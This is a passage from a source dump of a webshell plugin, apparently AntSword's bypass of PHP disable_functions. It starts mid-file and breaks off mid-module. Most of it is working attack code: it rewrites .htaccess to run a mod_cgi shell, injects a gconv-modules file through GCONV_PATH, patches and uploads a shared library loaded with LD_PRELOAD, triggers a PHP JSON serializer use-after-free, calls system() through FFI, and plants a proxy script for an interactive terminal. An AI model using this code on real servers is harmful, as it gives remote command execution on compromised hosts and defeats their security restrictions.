| Hostname:Port\s+?<\/td> | (.+?)\s+?<\/td><\/tr>/;
143 | if (self.top.opt.url.includes('127.0.0.1')) {
144 | if (re.test(response['text'])) {
145 | self.infodata['localaddr'] = RegExp.$1;
146 | }
147 | }
148 | self.core
149 | .request(check_code)
150 | .then((_ret) => {
151 | let _res = antSword.unxss(_ret['text']);
152 | self.infodata = Object.assign(self.infodata, JSON.parse(_res));
153 | self.form = self.createForm(self.cell);
154 | res(self.infodata);
155 | }).catch((err) => {
156 | rej(err);
157 | })
158 | }).catch((err) => {
159 | rej(err);
160 | })
161 | }).then(info => {
162 | if (!(info.modcgi && info.htaccess && info.writable)) {
163 | rej('check failed');
164 | }
165 | })
166 | .then(() => {
167 | let expcode = {
168 | _: `@copy(".htaccess", ".htaccess.bak");
169 | @file_put_contents('.htaccess', "Options +ExecCGI\\nAddHandler cgi-script .ant");
170 | @file_put_contents('shell.ant', "#!/bin/sh\\n\\necho&ls");
171 | @chmod("shell.ant", 0777);`
172 | };
173 | self.core.request(expcode)
174 | .then(() => {
175 | new antSword.module.terminal(self.top.opt, {
176 | exec: (arg = {
177 | bin: '/bin/bash',
178 | cmd: ''
179 | }) => {
180 | let content = Buffer.from(`#!${arg['bin']}\necho&&${arg['cmd']}`).toString('base64');
181 | let target = "";
182 | if (self.top.opt.url.includes('127.0.0.1')) {
183 | target = `$url['scheme']."://${self.infodata['localaddr']}".$url['path'];`;
184 | } else {
185 | target = `$url['scheme']."://".$_SERVER['HTTP_HOST'].$url['path'];`;
186 | }
187 | return {
188 | _: `@file_put_contents('shell.ant', base64_decode("${content}"));
189 | $url=parse_url("${nodeurl.resolve(self.top.opt.url, 'shell.ant')}");
190 | $target=${target};
191 | echo @file_get_contents($target);`,
192 | // header("Location: ${nodeurl.resolve(self.top.opt.url, 'shell.ant')}");
193 | // echo @file_get_contents("${nodeurl.resolve(self.top.opt.url, 'shell.ant')}");
194 | }
195 | }
196 | });
197 | })
198 | .catch(err => {
199 | throw err;
200 | });
201 | })
202 | .catch((err) => {
203 | toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']);
204 | });
205 | }
206 | }
207 |
208 | function references(name, value) {
209 | let refs = {
210 | "AntSword-Labs/bypass_disable_functions/3": "https://github.com/AntSwordProject/AntSword-Labs/blob/master/bypass_disable_functions/3",
211 | "Bypass PHP system functions disabled via mod_cgi (0cx.cc)": "http://0cx.cc/bypass_disabled_via_mod_cgi.jspx",
212 | "github.com/l3m0n/Bypass_Disable_functions_Shell": "https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/exp/apache_mod_cgi/exp.php",
213 | };
214 | let ret = "";
215 | Object.keys(refs).map((k) => {
216 | ret += `${k}`;
217 | })
218 | return ``;
219 | }
220 |
221 | module.exports = APACHE_MOD_CGI;
--------------------------------------------------------------------------------
/core/base.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const fs = require('fs');
4 | const {
5 | ProxyScript,
6 | ProxyScriptFsock
7 | } = require('../payload');
8 | const LANG = require('../language'); // 插件语言库
9 | const LANG_T = antSword['language']['toastr']; // 通用通知提示
10 |
11 | class Base {
12 | /**
13 | * 初始化
14 | * @param {Object} cell dhtmlx.cell对象
15 | * @param {Object} top 顶层对象
16 | * @return {Object} this
17 | */
18 | constructor(cell, top) {
19 | var self = this;
20 | this.cell = cell;
21 | this.top = top;
22 | self.isOpenBasedir = (Object.keys(self.top.infodata.open_basedir).length > 0);
23 | let arch = self.top.infodata.arch;
24 | if(arch == 32) {
25 | arch = 86;
26 | }
27 | self.ext_name = `ant_x${arch}.${self.top.infodata.os.toLowerCase() === "linux" ? "so": "dll"}`;
28 | self.ext_path = path.join(__dirname, `../ext/ant_x${arch}.${self.top.infodata.os.toLowerCase() === "linux" ? "so": "dll"}`);
29 | }
30 |
31 | // 生成扩展
32 | generateExt(cmd) {
33 | let self = this;
34 | let fileBuff = fs.readFileSync(self.ext_path);
35 | let start = 0,
36 | end = 0;
37 | switch (self.ext_name) {
38 | case 'ant_x86.so':
39 | case 'ant_x32.so':
40 | start = 275;
41 | end = 504;
42 | break;
43 | case 'ant_x64.so':
44 | // 434-665
45 | start = 434;
46 | end = 665;
47 | break;
48 | case 'ant_x86.dll':
49 | case 'ant_x32.dll':
50 | start = 1544;
51 | end = 1683;
52 | break;
53 | case 'ant_x64.dll':
54 | start = 1552;
55 | end = 1691;
56 | break;
57 | default:
58 | break;
59 | }
60 | if (cmd.length > (end - start)) {
61 | return
62 | }
63 | fileBuff[end] = 0;
64 | fileBuff.write(" ", start);
65 | fileBuff.write(cmd, start);
66 | return fileBuff;
67 | }
68 |
69 | // 上传代理脚本
70 | uploadProxyScript(host = "127.0.0.1", port = 61111) {
71 | const PROXY_LANG = LANG['core']['base']['proxyscript'];
72 | let self = this;
73 | let proxycontent = "";
74 | if (self.top.infodata.funcs.hasOwnProperty['curl_init'] && self.top.infodata.funcs['curl_init'] == 1) {
75 | proxycontent = ProxyScript(`http://${host}:${port}/${self.top.infodata.shell_name}`);
76 | } else {
77 | proxycontent = ProxyScriptFsock(host, port, `/${self.top.infodata.shell_name}`);
78 | }
79 | self.top.core.request(
80 | self.top.core.filemanager.create_file({
81 | path: `${self.top.infodata.shell_dir}/.antproxy.php`,
82 | content: proxycontent,
83 | })
84 | ).then((res) => {
85 | let ret = res['text'];
86 | if (ret === '1') {
87 | toastr.success(PROXY_LANG['success'](`${self.top.infodata.shell_dir}/.antproxy.php`), LANG_T['success']);
88 | } else {
89 | toastr.error(PROXY_LANG['fail'], LANG_T['error']);
90 | }
91 | }).catch((err) => {
92 | toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']);
93 | });
94 | }
95 |
96 | /*
97 | 比较 x.y.z 版本号大小
98 | */
99 | CompVersion(minVer, curVer) {
100 | // 如果版本相同
101 | if (curVer === minVer) {
102 | return true
103 | }
104 | let currVerArr = curVer.split(".");
105 | let minVerArr = minVer.split(".");
106 | let len = Math.max(currVerArr.length, minVerArr.length);
107 | for (let i = 0; i < len; i++) {
108 | let minVal = ~~minVerArr[i],
109 | curVal = ~~currVerArr[i];
110 | if (minVal < curVal) {
111 | return true;
112 | } else if (minVal > curVal) {
113 | return false;
114 | }
115 | }
116 | return false;
117 | }
118 | }
119 | module.exports = Base;
--------------------------------------------------------------------------------
/core/iconv/index.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const Base = require('../base');
4 | const LANG = require('../../language'); // 插件语言库
5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示
6 |
7 | let ICONV_LANG = LANG['core']['iconv'];
8 |
9 | class ICONV extends Base {
10 | /**
11 | *
12 | * @param {dhtmlxObject} cell 组件
13 | * @param {Object} top 上层对象
14 | */
15 | constructor(cell, top) {
16 | super(cell, top);
17 | if (this.precheck() == false) {
18 | return;
19 | }
20 | this.form = this.createForm(this.cell);
21 | }
22 |
23 | // 提前检测
24 | precheck() {
25 | let self = this;
26 | let infodata = self.top.infodata;
27 | if (infodata.os.toLowerCase() !== "linux") {
28 | toastr.error(LANG['precheck']['only_linux'], LANG_T['error']);
29 | return false;
30 | }
31 | return true;
32 | }
33 |
34 | createForm(cell) {
35 | let self = this;
36 | let form = cell.attachForm([{
37 | type: 'settings',
38 | position: 'label-left',
39 | labelWidth: 100,
40 | inputWidth: 300,
41 | }, {
42 | type: 'block',
43 | inputWidth: 'auto',
44 | list: [{
45 | type: 'label',
46 | label: ICONV_LANG['title']
47 | },
48 | {
49 | type: 'block',
50 | inputWidth: 'auto',
51 | list: [{
52 | type: 'settings'
53 | },
54 | {
55 | type: "label",
56 | label: `putenv`,
57 | },
58 | {
59 | type: "label",
60 | label: `iconv (option)`,
61 | },
62 | {
63 | type: "newcolumn"
64 | },
65 | {
66 | type: "label",
67 | label: `${antSword.noxss(self.top.infodata.funcs['putenv']?'YES':'NO')}`,
68 | }, {
69 | type: "label",
70 | label: `${antSword.noxss(self.top.infodata.funcs['iconv']?'YES':'NO')}`,
71 | },
72 | ],
73 | },
74 | {
75 | type: 'combo',
76 | label: ICONV_LANG['form']['phpbinary'],
77 | labelWidth: 300,
78 | name: 'phpbinary',
79 | required: true,
80 | options: (() => {
81 | let vals = [
82 | 'php',
83 | 'php.exe',
84 | '/usr/bin/php',
85 | 'C:/php/php.exe'
86 | ];
87 | let ret = [];
88 | vals.map((_) => {
89 | ret.push({
90 | text: _,
91 | value: _
92 | });
93 | });
94 | return ret;
95 | })()
96 | },
97 | {
98 | type: 'combo',
99 | label: ICONV_LANG['form']['webroot'],
100 | labelWidth: 300,
101 | name: 'webrootdir',
102 | required: true,
103 | options: (() => {
104 | let vals = [
105 | self.top.infodata.phpself,
106 | self.top.infodata.shell_dir,
107 | self.top.infodata.temp_dir,
108 | ];
109 | let ret = [];
110 | vals.map((_) => {
111 | ret.push({
112 | text: _,
113 | value: _
114 | });
115 | });
116 | return ret;
117 | })()
118 | }
119 | ]
120 | },
121 | {
122 | type: 'block',
123 | labelWidth: 100,
124 | inputWidth: 'auto',
125 | className: "display: flex;flex-direction: row;align-items: center;",
126 | list: [{
127 | type: 'label',
128 | label: '',
129 | name: 'status_label'
130 | }, {
131 | type: 'newcolumn',
132 | offset: 20
133 | }, {
134 | type: 'label',
135 | label: '',
136 | name: 'status_msg'
137 | }, ]
138 | },
139 | {
140 | type: 'block',
141 | inputWidth: 'auto',
142 | list: [{
143 | type: 'template',
144 | label: "Reference",
145 | style: "width:100%;",
146 | format: references
147 | }, ]
148 | }
149 | ], true);
150 | return form;
151 | }
152 |
153 | // 执行EXP, 必须有这个函数
154 | exploit() {
155 | let self = this;
156 | let port = Math.floor(Math.random() * 5000) + 60000; // 60000~65000
157 | if (self.form.validate()) {
158 | self.cell.progressOn();
159 | let core = self.top.core;
160 | let formvals = self.form.getValues();
161 | let phpbinary = formvals['phpbinary'];
162 | let webrootdir = formvals['webrootdir'];
163 | // 生成 ext
164 | let wdir = "";
165 | if (self.isOpenBasedir) {
166 | for (var v in self.top.infodata.open_basedir) {
167 | if (self.top.infodata.open_basedir[v] == 1) {
168 | if (v == self.top.infodata.phpself) {
169 | wdir = v;
170 | } else {
171 | wdir = v;
172 | }
173 | break;
174 | }
175 | };
176 | } else {
177 | wdir = self.top.infodata.temp_dir;
178 | }
179 | let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${webrootdir}`;
180 | let fileBuffer = self.generateExt(cmd);
181 | if (!fileBuffer) {
182 | toastr.warning(ICONV_LANG['msg']['genext_err'], LANG_T["warning"]);
183 | self.cell.progressOff();
184 | return
185 | }
186 |
187 | new Promise((res, rej) => {
188 | var ext_path = `${wdir}/.${String(Math.random()).substr(2, 5)}${self.ext_name}`;
189 | // 上传 ext
190 | core.request(
191 | core.filemanager.upload_file({
192 | path: ext_path,
193 | content: fileBuffer
194 | })
195 | ).then((response) => {
196 | var ret = response['text'];
197 | if (ret === '1') {
198 | toastr.success(`Upload extension ${ext_path} success.`, LANG_T['success']);
199 | res(ext_path);
200 | } else {
201 | rej("upload extension fail");
202 | }
203 | }).catch((err) => {
204 | rej(err)
205 | });
206 | }).then((p) => {
207 | // 触发 payload, 会超时
208 | var payloaddir = path.dirname(p);
209 | var gconvmodules_payload = `module PAYLOAD// INTERNAL ../../../../../../../../../../../../../../../../../../../../../../../../../..${p.substring(0,p.length-3)} 2
210 | module INTERNAL PAYLOAD// ../../../../../../../../../../../../../../../../../../../../../../../../../..${p.substring(0,p.length-3)} 2
211 | `;
212 | var gconvmodules = Buffer.from(gconvmodules_payload).toString('base64');
213 | var payload = `file_put_contents("${payloaddir}/gconv-modules",base64_decode("${gconvmodules}"));
214 | putenv("GCONV_PATH=${payloaddir}");
215 | if(function_exists('iconv')){
216 | iconv("payload","UTF-8","whatever");
217 | }else if(function_exists('iconv_strlen')){
218 | iconv_strlen("1","payload");
219 | }else if(function_exists('file_get_contents')){
220 | @file_get_contents("php://filter/convert.iconv.payload.UTF-8/resource=data://text/plain;base64,MQ==");
221 | }else{
222 | @fopen('php://filter/convert.iconv.payload.UTF-8/resource=data://text/plain;base64,MQ==','r');
223 | };
224 | echo(1);`;
225 | core.request({
226 | _: payload,
227 | }).then((response) => {
228 |
229 | }).catch((err) => {
230 | // 超时也是正常
231 | })
232 | }).then(() => {
233 | // 验证是否成功开启
234 | var payload = `sleep(1);
235 | $fp = @fsockopen("127.0.0.1", ${port}, $errno, $errstr, 1);
236 | if(!$fp){
237 | echo(0);
238 | }else{
239 | echo(1);
240 | @fclose($fp);
241 | };`
242 | core.request({
243 | _: payload,
244 | }).then((response) => {
245 | var ret = response['text'];
246 | if (ret === '1') {
247 | toastr.success(LANG['success'], LANG_T['success']);
248 | self.form.setItemLabel('status_label', `New WebServer Listen`);
249 | self.form.setItemLabel('status_msg', `127.0.0.1:${port}`);
250 | self.uploadProxyScript("127.0.0.1", port);
251 | self.cell.progressOff();
252 | } else {
253 | self.cell.progressOff();
254 | throw ("exploit fail");
255 | }
256 | }).catch((err) => {
257 | self.cell.progressOff();
258 | toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']);
259 | });
260 | }).catch((err) => {
261 | self.cell.progressOff();
262 | toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']);
263 | });
264 | } else {
265 | toastr.warning(LANG['form_not_comp'], LANG_T["warning"]);
266 | }
267 | return;
268 | }
269 | }
270 |
271 | function references(name, value) {
272 | let refs = {
273 | "github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/9/": "https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/9/",
274 | "https://gist.github.com/LoadLow/90b60bd5535d6c3927bb24d5f9955b80": "https://gist.github.com/LoadLow/90b60bd5535d6c3927bb24d5f9955b80",
275 | };
276 | let ret = "";
277 | Object.keys(refs).map((k) => {
278 | ret += `${k}`;
279 | })
280 | return ``;
281 | }
282 | module.exports = ICONV;
--------------------------------------------------------------------------------
/core/json_serializer_uaf/index.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const Base = require('../base');
4 | const LANG = require('../../language'); // 插件语言库
5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示
6 | const nodeurl = require('url');
7 | const {
8 | JSON_Serializer_UAF
9 | } = require('../../payload');
10 | let JSON_SERIALIZER_UAF_LANG = LANG['core']['json_serializer_uaf'];
11 |
12 | class JSON_SERIALIZER_UAF extends Base {
13 | /**
14 | *
15 | * @param {dhtmlxObject} cell 组件
16 | * @param {Object} top 上层对象
17 | */
18 | constructor(cell, top) {
19 | super(cell, top);
20 | if (this.precheck() == false) {
21 | return;
22 | }
23 | this.infodata = {
24 | ver: this.top.infodata.ver,
25 | };
26 | this.cell = cell;
27 | this.form = this.createForm(this.cell);
28 | }
29 |
30 | // 提前检测
31 | precheck() {
32 | let self = this;
33 | let infodata = self.top.infodata;
34 | if (infodata.os.toLowerCase() !== "linux") {
35 | toastr.error(LANG['precheck']['only_linux'], LANG_T['error']);
36 | return false;
37 | }
38 | if (infodata.ver != "7.1" && infodata.ver != "7.2" && infodata.ver != "7.3") {
39 | toastr.error(JSON_SERIALIZER_UAF_LANG['err']['phpvererr'], LANG_T['error']);
40 | return false;
41 | }
42 | // TODO: 检查详细版本号
43 | return true;
44 | }
45 |
46 | createForm(cell) {
47 | let self = this;
48 | let form = cell.attachForm([{
49 | type: 'settings',
50 | position: 'label-left',
51 | labelWidth: 100,
52 | inputWidth: 300,
53 | }, {
54 | type: 'block',
55 | inputWidth: 'auto',
56 | list: [{
57 | type: 'label',
58 | labelWidth: 300,
59 | label: JSON_SERIALIZER_UAF_LANG['title']
60 | }, {
61 | type: 'block',
62 | inputWidth: 'auto',
63 | list: [{
64 | type: 'settings'
65 | },
66 | {
67 | type: "label",
68 | label: `${JSON_SERIALIZER_UAF_LANG['status_cell']['ver']}`,
69 | },
70 | {
71 | type: "newcolumn"
72 | },
73 | {
74 | type: "label",
75 | labelWidth: 300,
76 | label: `7.1 - all versions to date`,
77 | },
78 | {
79 | type: "label",
80 | labelWidth: 300,
81 | label: `7.2 < 7.2.19 (released: 30 May 2019)`,
82 | },
83 | {
84 | type: "label",
85 | labelWidth: 300,
86 | label: `7.3 < 7.3.6 (released: 30 May 2019)`,
87 | },
88 | ],
89 | }]
90 | },
91 | {
92 | type: 'block',
93 | labelWidth: 100,
94 | inputWidth: 'auto',
95 | className: "display: flex;flex-direction: row;align-items: center;",
96 | list: [{
97 | type: 'label',
98 | label: '',
99 | name: 'status_label'
100 | }, {
101 | type: 'newcolumn',
102 | offset: 20
103 | }, {
104 | type: 'label',
105 | label: '',
106 | name: 'status_msg'
107 | }, ]
108 | },
109 | {
110 | type: 'block',
111 | inputWidth: 'auto',
112 | list: [{
113 | type: 'template',
114 | label: "Reference",
115 | style: "width:100%;",
116 | format: references
117 | }, ]
118 | }
119 | ], true);
120 | return form;
121 | }
122 |
123 | // 执行EXP, 必须有这个函数
124 | exploit() {
125 | let self = this;
126 | self.core = self.top.core;
127 | let binary = '/bin/sh'
128 | if(self.top.infodata.os.toLowerCase().startsWith('win')) {
129 | binary = 'cmd'
130 | }
131 | new antSword.module.terminal(self.top.opt, {
132 | exec: (arg = {
133 | bin: binary,
134 | cmd: ''
135 | }) => {
136 | return {
137 | _: JSON_Serializer_UAF(arg['bin'], arg['cmd']),
138 | }
139 | }
140 | });
141 | }
142 | }
143 |
144 | function references(name, value) {
145 | let refs = {
146 | "AntSword-Labs/bypass_disable_functions/6": "https://github.com/AntSwordProject/AntSword-Labs/blob/master/bypass_disable_functions/6",
147 | "php-json-bypass": "https://github.com/mm0r1/exploits/tree/master/php-json-bypass",
148 | "Bug #77843 Use after free with json serializer": "https://bugs.php.net/bug.php?id=77843",
149 | };
150 | let ret = "";
151 | Object.keys(refs).map((k) => {
152 | ret += `${k}`;
153 | })
154 | return ``;
155 | }
156 |
157 | module.exports = JSON_SERIALIZER_UAF;
--------------------------------------------------------------------------------
/core/ld_preload/index.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const Base = require('../base');
4 | const LANG = require('../../language'); // 插件语言库
5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示
6 |
7 | let LD_PRELOAD_LANG = LANG['core']['ld_preload'];
8 |
9 | class LD_PRELOAD extends Base {
10 | /**
11 | *
12 | * @param {dhtmlxObject} cell 组件
13 | * @param {Object} top 上层对象
14 | */
15 | constructor(cell, top) {
16 | super(cell, top);
17 | if (this.precheck() == false) {
18 | return;
19 | }
20 | this.form = this.createForm(this.cell);
21 | }
22 |
23 | // 提前检测
24 | precheck() {
25 | let self = this;
26 | let infodata = self.top.infodata;
27 | if (infodata.os.toLowerCase() !== "linux") {
28 | toastr.error(LANG['precheck']['only_linux'], LANG_T['error']);
29 | return false;
30 | }
31 | return true;
32 | }
33 |
34 | createForm(cell) {
35 | let self = this;
36 | let form = cell.attachForm([{
37 | type: 'settings',
38 | position: 'label-left',
39 | labelWidth: 100,
40 | inputWidth: 300,
41 | }, {
42 | type: 'block',
43 | inputWidth: 'auto',
44 | list: [{
45 | type: 'label',
46 | label: LD_PRELOAD_LANG['title']
47 | },
48 | {
49 | type: 'block',
50 | inputWidth: 'auto',
51 | list: [{
52 | type: 'settings'
53 | },
54 | {
55 | type: "label",
56 | label: `putenv`,
57 | },
58 | {
59 | type: "label",
60 | label: `error_log`,
61 | },
62 | {
63 | type: "newcolumn"
64 | },
65 | {
66 | type: "label",
67 | label: `${antSword.noxss(self.top.infodata.funcs['putenv']?'YES':'NO')}`,
68 | }, {
69 | type: "label",
70 | label: `${antSword.noxss(self.top.infodata.funcs['error_log']?'YES':'NO')}`,
71 | },
72 | ],
73 | },
74 | {
75 | type: 'combo',
76 | label: LD_PRELOAD_LANG['form']['phpbinary'],
77 | labelWidth: 300,
78 | name: 'phpbinary',
79 | required: true,
80 | options: (() => {
81 | let vals = [
82 | 'php',
83 | 'php.exe',
84 | '/usr/bin/php',
85 | 'C:/php/php.exe'
86 | ];
87 | let ret = [];
88 | vals.map((_) => {
89 | ret.push({
90 | text: _,
91 | value: _
92 | });
93 | });
94 | return ret;
95 | })()
96 | },
97 | {
98 | type: 'combo',
99 | label: LD_PRELOAD_LANG['form']['webroot'],
100 | labelWidth: 300,
101 | name: 'webrootdir',
102 | required: true,
103 | options: (() => {
104 | let vals = [
105 | self.top.infodata.phpself,
106 | self.top.infodata.shell_dir,
107 | self.top.infodata.temp_dir,
108 | ];
109 | let ret = [];
110 | vals.map((_) => {
111 | ret.push({
112 | text: _,
113 | value: _
114 | });
115 | });
116 | return ret;
117 | })()
118 | }
119 | ]
120 | },
121 | {
122 | type: 'block',
123 | labelWidth: 100,
124 | inputWidth: 'auto',
125 | className: "display: flex;flex-direction: row;align-items: center;",
126 | list: [{
127 | type: 'label',
128 | label: '',
129 | name: 'status_label'
130 | }, {
131 | type: 'newcolumn',
132 | offset: 20
133 | }, {
134 | type: 'label',
135 | label: '',
136 | name: 'status_msg'
137 | }, ]
138 | },
139 | {
140 | type: 'block',
141 | inputWidth: 'auto',
142 | list: [{
143 | type: 'template',
144 | label: "Reference",
145 | style: "width:100%;",
146 | format: references
147 | }, ]
148 | }
149 | ], true);
150 | return form;
151 | }
152 |
153 | // 执行EXP, 必须有这个函数
154 | exploit() {
155 | let self = this;
156 | let port = Math.floor(Math.random() * 5000) + 60000; // 60000~65000
157 | if (self.form.validate()) {
158 | self.cell.progressOn();
159 | let core = self.top.core;
160 | let formvals = self.form.getValues();
161 | let phpbinary = formvals['phpbinary'];
162 | let webrootdir = formvals['webrootdir'];
163 | // 生成 ext
164 | let wdir = "";
165 | if (self.isOpenBasedir) {
166 | for (var v in self.top.infodata.open_basedir) {
167 | if (self.top.infodata.open_basedir[v] == 1) {
168 | if (v == self.top.infodata.phpself) {
169 | wdir = v;
170 | } else {
171 | wdir = v;
172 | }
173 | break;
174 | }
175 | };
176 | } else {
177 | wdir = self.top.infodata.temp_dir;
178 | }
179 | let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${webrootdir}`;
180 | let fileBuffer = self.generateExt(cmd);
181 | if (!fileBuffer) {
182 | toastr.warning(LD_PRELOAD_LANG['msg']['genext_err'], LANG_T["warning"]);
183 | self.cell.progressOff();
184 | return
185 | }
186 |
187 | new Promise((res, rej) => {
188 | var ext_path = `${wdir}/.${String(Math.random()).substr(2, 5)}${self.ext_name}`;
189 | // 上传 ext
190 | core.request(
191 | core.filemanager.upload_file({
192 | path: ext_path,
193 | content: fileBuffer
194 | })
195 | ).then((response) => {
196 | var ret = response['text'];
197 | if (ret === '1') {
198 | toastr.success(`Upload extension ${ext_path} success.`, LANG_T['success']);
199 | res(ext_path);
200 | } else {
201 | rej("upload extension fail");
202 | }
203 | }).catch((err) => {
204 | rej(err)
205 | });
206 | }).then((p) => {
207 | // 触发 payload, 会超时
208 | var payload = `error_reporting(E_ALL);putenv("LD_PRELOAD=${p}");error_log("a", 1);echo(1);`;
209 | core.request({
210 | _: payload,
211 | }).then((response) => {
212 |
213 | }).catch((err) => {
214 | // 超时也是正常
215 | })
216 | }).then(() => {
217 | // 验证是否成功开启
218 | var payload = `sleep(1);
219 | $fp = @fsockopen("127.0.0.1", ${port}, $errno, $errstr, 1);
220 | if(!$fp){
221 | echo(0);
222 | }else{
223 | echo(1);
224 | @fclose($fp);
225 | };`
226 | core.request({
227 | _: payload,
228 | }).then((response) => {
229 | var ret = response['text'];
230 | if (ret === '1') {
231 | toastr.success(LANG['success'], LANG_T['success']);
232 | self.form.setItemLabel('status_label', `New WebServer Listen`);
233 | self.form.setItemLabel('status_msg', `127.0.0.1:${port}`);
234 | self.uploadProxyScript("127.0.0.1", port);
235 | self.cell.progressOff();
236 | } else {
237 | self.cell.progressOff();
238 | throw ("exploit fail");
239 | }
240 | }).catch((err) => {
241 | self.cell.progressOff();
242 | toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']);
243 | });
244 | }).catch((err) => {
245 | self.cell.progressOff();
246 | toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']);
247 | });
248 | } else {
249 | toastr.warning(LANG['form_not_comp'], LANG_T["warning"]);
250 | }
251 | return;
252 | }
253 | }
254 |
255 | function references(name, value) {
256 | let refs = {
257 | "github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/1/": "https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/1/",
258 | "AntSword-Labs/bypass_disable_functions/4/": "https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/4/",
259 | };
260 | let ret = "";
261 | Object.keys(refs).map((k) => {
262 | ret += `${k}`;
263 | })
264 | return ``;
265 | }
266 | module.exports = LD_PRELOAD;
--------------------------------------------------------------------------------
/core/php74_ffi/index.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const Base = require('../base');
4 | const LANG = require('../../language'); // 插件语言库
5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示
6 | const nodeurl = require('url');
7 | let PHP74_FFI_LANG = LANG['core']['php74_ffi'];
8 |
9 | class PHP74_FFI extends Base {
10 | /**
11 | *
12 | * @param {dhtmlxObject} cell 组件
13 | * @param {Object} top 上层对象
14 | */
15 | constructor(cell, top) {
16 | super(cell, top);
17 | if (this.precheck() == false) {
18 | return;
19 | }
20 | this.infodata = {
21 | ver: this.top.infodata.ver,
22 | ffi: false,
23 | ffi_enable: "",
24 | };
25 | this.cell = cell;
26 | this.form = this.createForm(this.cell);
27 | }
28 |
29 | // 提前检测
30 | precheck() {
31 | let self = this;
32 | let infodata = self.top.infodata;
33 | // if (infodata.os.toLowerCase() !== "linux") {
34 | // toastr.error(LANG['precheck']['only_linux'], LANG_T['error']);
35 | // return false;
36 | // }
37 | // if (!self.CompVersion("7.4", infodata.ver)) {
38 | // toastr.error(PHP74_FFI_LANG['err']['phpvererr'], LANG_T['error']);
39 | // return false;
40 | // }
41 | // 检查 ffi 扩展
42 |
43 | return true;
44 | }
45 |
46 | createForm(cell) {
47 | let self = this;
48 | let form = cell.attachForm([{
49 | type: 'settings',
50 | position: 'label-left',
51 | labelWidth: 100,
52 | inputWidth: 300,
53 | }, {
54 | type: 'block',
55 | inputWidth: 'auto',
56 | list: [{
57 | type: 'label',
58 | labelWidth: 300,
59 | label: PHP74_FFI_LANG['title']
60 | }, {
61 | type: 'block',
62 | inputWidth: 'auto',
63 | list: [{
64 | type: 'settings'
65 | },
66 | {
67 | type: "label",
68 | label: `${PHP74_FFI_LANG['status_cell']['ver']}`,
69 | },
70 | {
71 | type: "label",
72 | label: `${PHP74_FFI_LANG['status_cell']['ffi']}`,
73 | },
74 | {
75 | type: "label",
76 | label: `${PHP74_FFI_LANG['status_cell']['ffi_enable']}`,
77 | },
78 | {
79 | type: "newcolumn"
80 | },
81 | {
82 | type: "label",
83 | label: `${antSword.noxss(self.infodata['ver'])}`,
84 | },
85 | {
86 | type: "label",
87 | label: `${antSword.noxss(self.infodata['ffi'] === true ?'YES':'NO')}`,
88 | },
89 | {
90 | type: "label",
91 | label: `${antSword.noxss(self.infodata['ffi_enable'] === '1' ?'YES': (self.infodata['ffi_enable'] === '' ? 'No': self.infodata['ffi_enable']))}`,
92 | }
93 | ],
94 | }]
95 | },
96 | {
97 | type: 'block',
98 | labelWidth: 100,
99 | inputWidth: 'auto',
100 | className: "display: flex;flex-direction: row;align-items: center;",
101 | list: [{
102 | type: 'label',
103 | label: '',
104 | name: 'status_label'
105 | }, {
106 | type: 'newcolumn',
107 | offset: 20
108 | }, {
109 | type: 'label',
110 | label: '',
111 | name: 'status_msg'
112 | }, ]
113 | },
114 | {
115 | type: 'block',
116 | inputWidth: 'auto',
117 | list: [{
118 | type: 'template',
119 | label: "Reference",
120 | style: "width:100%;",
121 | format: references
122 | }, ]
123 | }
124 | ], true);
125 | return form;
126 | }
127 |
128 | // 执行EXP, 必须有这个函数
129 | exploit() {
130 | let self = this;
131 | self.core = self.top.core;
132 | let _precode = {
133 | _: `$rt = array("ffi" => extension_loaded("ffi"),
134 | "ffi_enable" => ini_get("ffi.enable"),
135 | );
136 | echo json_encode($rt);`
137 | };
138 | new Promise((res, rej) => {
139 | self.core
140 | .request(_precode)
141 | .then((_ret) => {
142 | let _res = antSword.unxss(_ret['text']);
143 | self.infodata = Object.assign(self.infodata, JSON.parse(_res));
144 | self.createForm(self.cell);
145 | res(self.infodata);
146 | }).catch((err) => {
147 | rej(err);
148 | })
149 | }).then(info => {
150 | if (!info.ffi) {
151 | throw new Error(PHP74_FFI_LANG['err']['ffi_not_loaded']);
152 | }
153 | if (info.ffi_enable != "1") {
154 | throw new Error(PHP74_FFI_LANG['err']['ffi_not_enable']);
155 | }
156 | })
157 | .then(() => {
158 | if (self.top.infodata.os.toLowerCase().indexOf("win") > -1) {
159 | new antSword.module.terminal(self.top.opt, {
160 | exec: (arg = {
161 | bin: 'cmd',
162 | cmd: ''
163 | }) => {
164 | return {
165 | _: `$tmp = tempnam(sys_get_temp_dir(), 'as');
166 | $cmd = "${arg['bin']} /c \\\"".@base64_decode("${Buffer.from(arg['cmd']).toString('base64')}")."\\\" > ".$tmp;
167 | $ffi = FFI::cdef("int system(const char *command);", "msvcrt");
168 | $ffi->system($cmd);
169 | echo @file_get_contents($tmp);
170 | unlink($tmp);`
171 | }
172 | }
173 | });
174 | } else {
175 | new antSword.module.terminal(self.top.opt, {
176 | exec: (arg = {
177 | bin: '/bin/bash',
178 | cmd: ''
179 | }) => {
180 | return {
181 | _: `$tmp = tempnam(sys_get_temp_dir(), 'as');
